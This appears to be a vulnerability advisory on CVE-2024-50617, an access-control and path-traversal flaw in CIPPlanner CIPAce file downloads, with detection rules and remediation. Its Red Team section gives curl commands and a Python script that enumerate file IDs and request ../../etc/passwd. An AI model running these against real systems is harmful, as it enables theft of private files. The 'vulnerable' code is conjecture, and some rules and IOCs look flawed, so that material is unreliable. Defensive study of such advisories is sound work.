CVE-2024-50617

Executive Summary

CVE-2024-50617 is an Insecure Direct Object Reference (IDOR) vulnerability in CIPPlanner CIPAce, a capital planning and asset management platform. The flaw resides in the File Download and Get File handler components, allowing an authenticated attacker to bypass intended access controls and download arbitrary files from the server. By manipulating the file id parameter or directly passing a physical file path in the URL query string, an attacker can retrieve sensitive documents, configuration files, or other data without proper authorization. This vulnerability is particularly dangerous in enterprise environments where CIPPlanner is used to manage critical infrastructure and financial data. The vendor has released version 9.17 to address this issue.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in a proprietary enterprise software. No supply chain implications are present.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – An attacker needs a valid user account.
• User Interaction (UI): None – No user action is needed.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Sensitive files can be read.
• Integrity (I): None – No file modification is possible.
• Availability (A): None – No denial of service.

Threat Level: High. The low complexity and low privileges required make this a significant risk for organizations using CIPAce. An attacker with a standard user account can exfiltrate sensitive data, including database credentials, configuration files, and business documents.

Deep Dive & Mechanics

The vulnerability is a classic Insecure Direct Object Reference (CWE-639). The application fails to validate whether the authenticated user has the correct permissions to access a requested file. The file retrieval mechanism uses a numeric file id parameter or a direct file path in the URL. The application does not enforce access control checks against the user's role or document permissions.

Technical Flow:

1. An authenticated user sends a GET request to the file download endpoint, e.g., /FileDownload?fileId=123.
2. The server retrieves the file from the storage without verifying if the user is authorized to access that specific document.
3. An attacker can iterate through fileId values (e.g., 1, 2, 3...) or use a path traversal technique to access files outside the intended directory.
4. The response returns the file content directly.

Example Attack:

• Normal request: https://target.cipace.com/FileDownload?fileId=100
• Malicious request: https://target.cipace.com/FileDownload?fileId=1 (accessing a different user's document)
• Path traversal: https://target.cipace.com/GetFile?filePath=../../etc/passwd

The vulnerability is present in all versions before 9.17. The fix likely involves implementing proper authorization checks, such as verifying the user's role and document permissions before serving the file.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-9.17):

// Vulnerable: No authorization check
[HttpGet]
public IActionResult DownloadFile(int fileId)
{
    var file = _context.Files.Find(fileId);
    if (file == null)
        return NotFound();
    return File(file.Content, file.ContentType, file.FileName);
}

Patched Code (9.17+):

// Patched: Authorization check added
[HttpGet]
public IActionResult DownloadFile(int fileId)
{
    var file = _context.Files.Find(fileId);
    if (file == null)
        return NotFound();
    // Check if the current user has access to this file
    if (!_authorizationService.CanAccessFile(User, file))
        return Forbid();
    return File(file.Content, file.ContentType, file.FileName);
}

The patched version introduces an _authorizationService.CanAccessFile() method that validates the user's permissions against the file's access control list (ACL) or document metadata.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Valid user credentials (e.g., username/password) for the CIPPlanner CIPAce instance.
• Network access to the target server.

Exploitation Steps:

1. Authenticate to the CIPPlanner web interface and obtain a session cookie.
2. Use a tool like curl or Burp Suite to send requests to the file download endpoint.
3. Brute-force the fileId parameter to enumerate accessible files.

Example using curl:

# Authenticate first (example)
curl -c cookies.txt -X POST https://target.cipace.com/Account/Login -d "username=user&password=pass"

# Enumerate file IDs
for id in $(seq 1 1000); do
    curl -b cookies.txt "https://target.cipace.com/FileDownload?fileId=$id" -o "file_$id.bin"
done

Path Traversal Variant:

curl -b cookies.txt "https://target.cipace.com/GetFile?filePath=../../../../etc/passwd"

Automated Exploit (Python):

import requests

session = requests.Session()
session.post("https://target.cipace.com/Account/Login", data={"username": "user", "password": "pass"})

for file_id in range(1, 1001):
    r = session.get(f"https://target.cipace.com/FileDownload?fileId={file_id}")
    if r.status_code == 200 and len(r.content) > 0:
        with open(f"downloaded_{file_id}.bin", "wb") as f:
            f.write(r.content)
        print(f"Downloaded file ID {file_id}")

Blue Team (Detection & Defense)

Detection:

• Monitor for sequential or rapid requests to /FileDownload or /GetFile endpoints from a single user.
• Alert on requests containing path traversal patterns (e.g., ../, ..\\, %2e%2e%2f).
• Log and review all file download attempts, especially those with unusual fileId values (e.g., very low or high numbers).

Defense:

• Immediately upgrade to CIPAce 9.17 or later.
• Implement Web Application Firewall (WAF) rules to block path traversal attempts.
• Enforce strict access controls on file storage directories.
• Conduct a security audit to identify any exposed sensitive files.

Indicators of Compromise (IOCs)

Network IOCs:

• Multiple GET requests to /FileDownload?fileId=<integer> with sequential or incremental IDs.
• Requests containing filePath parameter with path traversal sequences (e.g., ../../).
• Unusual outbound data transfers from the CIPPlanner server to external IPs.

File System IOCs:

• Presence of unexpected files in temporary directories (e.g., /tmp/ or %TEMP%) with names like downloaded_*.bin.
• Modified access logs showing repeated file download attempts.

Log IOCs:

• Web server logs showing 200 OK responses for /FileDownload requests with varying fileId values.
• Application logs indicating failed authorization checks (if logging is enabled).

Detection Engineering

YARA Rule

rule CVE_2024_50617_CIPPlanner_IDOR {
    meta:
        description = "Detects exploitation attempts of CVE-2024-50617 in CIPPlanner CIPAce"
        author = "Valters IT"
        date = "2024-12-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-50617"
    strings:
        $s1 = "/FileDownload?fileId=" ascii wide nocase
        $s2 = "/GetFile?filePath=" ascii wide nocase
        $s3 = "../" ascii wide
        $s4 = "..\\" ascii wide
        $s5 = "%2e%2e%2f" ascii wide
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-50617 CIPPlanner CIPAce IDOR Exploitation
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit Insecure Direct Object Reference in CIPPlanner CIPAce
author: Valters IT
date: 2024-12-01
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - "/FileDownload?fileId="
            - "/GetFile?filePath="
    condition: selection
falsepositives:
    - Legitimate file access by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50617 CIPPlanner CIPAce IDOR Exploitation"; flow:to_server,established; content:"/FileDownload?fileId="; http_uri; content:"/GetFile?filePath="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Apply the vendor patch by upgrading to CIPPlanner CIPAce version 9.17 or later.
2. Access Control Review: Audit all user permissions and ensure least privilege principles are enforced.
3. WAF Rules: Deploy Web Application Firewall rules to block path traversal and sequential ID requests.

Long-Term Measures:

• Implement robust authorization checks for all file access endpoints.
• Use randomized, non-sequential file identifiers (e.g., UUIDs) instead of integers.
• Conduct regular penetration testing and code reviews.
• Enable comprehensive logging and monitoring for file access activities.

Workaround (if patching is delayed):

• Restrict network access to the CIPPlanner web interface to trusted IPs only.
• Disable the file download functionality temporarily if not critical.

Valters IT